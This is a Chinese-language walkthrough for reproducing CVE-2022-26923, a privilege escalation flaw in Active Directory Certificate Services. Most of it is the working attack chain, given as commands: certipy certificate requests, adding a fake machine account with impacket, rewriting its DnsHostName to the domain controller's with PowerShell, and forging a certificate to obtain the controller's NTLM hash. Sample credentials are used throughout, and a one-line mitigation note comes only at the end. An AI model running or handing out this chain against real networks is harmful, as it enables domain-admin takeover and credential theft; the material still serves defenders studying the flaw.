该漏洞允许低权限用户在默认的 Active Directory 环境中(安装有 Active Directory 证书服务 AD CS 服务器角色)将权限提升为域管理员。
由 Oliver Lyak (ly4k_) 用 Python 开发了一个利用程序,并在公告发布之前(而非之后)公开。它被声明为概念验证。该利用程序可在 research.ifcr.dk 下载。
来源:
新曝光的 Active Directory 域权限提升漏洞尚未在野外被利用,但其 8.8 的高 CVSS 评分表明它给受入侵系统带来了高风险,使攻击者能够滥用证书问题。CVE-2022-26923 允许操纵 DnsHostName 属性(该属性指定计算机在 DNS 中注册的名称),从而使攻击者能够从 AD 证书服务获取证书,并可能导致权限提升。
- 用户名: user_test
- 密码: Password123#
- 域: my.domain.com
要复现,你必须:
- 在攻击机上安装 impacket 和 certipy。
- https://github.com/SecureAuthCorp/impacket
- https://github.com/ly4k/Certipy
- 已经入侵了一个低权限用户。
- 仅当 Active Directory 证书服务在域上运行时,系统才易受攻击。
首先,使用证书模板 User 为我们的低权限 AD 用户(用户名=user_test 密码=Password123#)生成一个证书:
certipy req 'my.domain.com/user_test:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template User
检查证书是否有效,并且可以通过 Certipy 用于 Kerberos 认证:
certipy auth -pfx user_test.pfx
使用 Impacket 向域添加一台虚拟计算机:
addcomputer.py 'my.domain.com/user_test:Password123#' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'
# my.domain.com/user_test:Password123# - 我们需要提供有效的 AD 凭证才能添加新计算机。
# method - 认证方法。LDAPS 将与域控制器上的 LDAP 服务交互。
# computer-name - 计算机的名称。可以是任意名称,只要与现有计算机对象不同即可。
# computer-pass - 计算机机器账户的密码。我们需要模拟我们创建的这台计算机,因此请记住此处选择的密码。
为我们创建的新计算机生成一个证书。要使用该计算机的机器账户,需要在名称末尾添加 "$":
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
在受入侵的机器上更新 DNS 主机名和 SPN 属性:
PS C:\Users\user_test> Get-ADComputer NEW_PC -properties dnshostname,serviceprincipalname
删除当前的 SPN 属性:
PS C:\Users\user_test> Set-ADComputer NEW_PC -ServicePrincipalName @{}
尝试将 DNS 主机名属性设置为域控制器的值:
PS C:\Users\user_test> Set-ADComputer NEW_PC -DnsHostName HOSTANME.my.domain.com
在攻击机上伪造恶意证书:
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
验证此证书是否有效,并返回 NTLM 哈希:
certipy auth -pfx hostname.pfx
针对 CVE-2022-26923 的缓解和保护措施,微软强烈建议将所有运行 AD 证书服务的服务器以及进行基于证书认证的 Windows 域控制器更新到最新的 5 月 10 日版本。